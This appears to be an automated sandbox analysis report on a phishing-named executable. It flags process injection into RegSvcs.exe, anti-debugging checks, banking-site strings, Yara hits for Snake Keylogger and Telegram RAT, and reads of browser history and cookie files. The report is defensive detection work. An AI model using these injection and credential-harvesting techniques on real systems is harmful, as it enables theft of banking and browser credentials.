Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd00e934167454<
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf5228736b7e4
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dce1f6e390835f
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd06cf902e9b27<
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dceaff00abf50c
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002924000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf03acab5cb25
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002924000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dce6e7f102d275
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002924000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcefb4e2f4aa1c
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcda4f67f6f17f
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf64364b823ab
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd053f66608f0b<
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dce3d56841fb19
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000003157000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcfc29d9a5caca<
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf5adc4041a3c
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd08864f6f4d2d<
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002F3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcfe505b5a8452
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002F3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf96e2d7c1904
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd015205408852<
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002924000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf718b1633c98
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcda2b6f5946f9
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002924000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf9041216e2b7
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002D44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcfdfaba9eabda<
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcdb737b693935
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002B66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf7aab7810d9f<
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcd9aa313f3835
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dce27d7cd6f4d1
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002F3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcfed3182d0166<
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dce309cdaf4648
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcda09bce7e3ee
Source: RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dce4fe8cefc2ba
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: RegSvcs.exe, 00000006.00000002.4540335552.00000000037A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: RegSvcs.exe, 00000003.00000002.4535887705.0000000000C87000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4537158733.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002ADD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcfdfaba9eabda
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd0270272e694b<
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcd9999c7f3372LR]q
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dceba7d0803f2e
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dd05da1ef7e562<
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcdc508e6a9ef6
Source: wscript.exe, 00000004.00000002.2215153509.00000151544C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dce8b65a0f3d9f
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dce1e59cb38a86
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000003186000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcfe505b5a8452<
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcdaf9aed13a59
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002924000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf7aab7810d9f
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dce3488763ca5d
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf15ba97e3e5d
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: New Order PO#86637.exe, 00000000.00000002.2084776236.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: od_VMware_SATA_CD00#4&224f
Source: RegSvcs.exe, 00000006.00000002.4538128302.0000000002ADD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcfa10ca850f14
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dcf75e097196ac
Source: RegSvcs.exe, 00000006.00000002.4540335552.0000000003AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x

Source: C:\Users\user\Desktop\New Order PO#86637.exe	API call chain: ExitProcess graph end node			graph_0-86638
Source: C:\Users\user\AppData\Local\directory\name.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 3_2_06549548 LdrInitializeThunk,

3_2_06549548

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_0045A370 BlockInput,

0_2_0045A370

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_0040D590 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

0_2_0040D590

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_0040EBD0 LoadLibraryA,GetProcAddress,

0_2_0040EBD0

Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0420C528 mov eax, dword ptr fs:[00000030h]	0_2_0420C528
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0420C588 mov eax, dword ptr fs:[00000030h]	0_2_0420C588
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0420AEF8 mov eax, dword ptr fs:[00000030h]	0_2_0420AEF8
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 2_2_04218508 mov eax, dword ptr fs:[00000030h]	2_2_04218508
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 2_2_04218568 mov eax, dword ptr fs:[00000030h]	2_2_04218568
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 2_2_04216ED8 mov eax, dword ptr fs:[00000030h]	2_2_04216ED8
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_04648530 mov eax, dword ptr fs:[00000030h]	5_2_04648530
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_04648590 mov eax, dword ptr fs:[00000030h]	5_2_04648590
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_04646F00 mov eax, dword ptr fs:[00000030h]	5_2_04646F00

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_004238DA __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_004238DA

Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0041F250 SetUnhandledExceptionFilter,	0_2_0041F250
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0041A208 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041A208
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_00417DAA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00417DAA
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0041F250 SetUnhandledExceptionFilter,	5_2_0041F250
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0041A208 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_0041A208
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_00417DAA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00417DAA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\directory\name.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: B33008			Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 4B6008			Jump to behavior

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_00436CD7 LogonUserW,

0_2_00436CD7

Source: C:\Users\user\Desktop\New Order PO#86637.exe

0_2_0040D590

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00434418

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_0043333C __wcsicoll,mouse_event,__wcsicoll,mouse_event,

0_2_0043333C

Source: C:\Users\user\AppData\Local\directory\name.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\New Order PO#86637.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\directory\name.exe "C:\Users\user\AppData\Local\directory\name.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Local\directory\name.exe"	Jump to behavior

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_00446124 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00446124

Source: New Order PO#86637.exe, name.exe	Binary or memory string: Shell_TrayWnd
Source: New Order PO#86637.exe, name.exe.0.dr	Binary or memory string: JDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_004720DB GetLocalTime,__swprintf,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,

0_2_004720DB

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_00472C3F GetUserNameW,

0_2_00472C3F

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_0041E364 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,SetOaNoCache,

0_2_0041E364

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_0040E500

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000003.00000002.4537810663.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 5.2.name.exe.3f40000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.name.exe.3740000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.name.exe.3740000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.name.exe.3f40000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4535184676.0000000000374000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: name.exe PID: 4592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: name.exe PID: 1292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5688, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 5.2.name.exe.3f40000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.name.exe.3740000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.name.exe.3740000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.name.exe.3f40000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4535184676.0000000000374000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: name.exe PID: 4592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: name.exe PID: 1292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5688, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
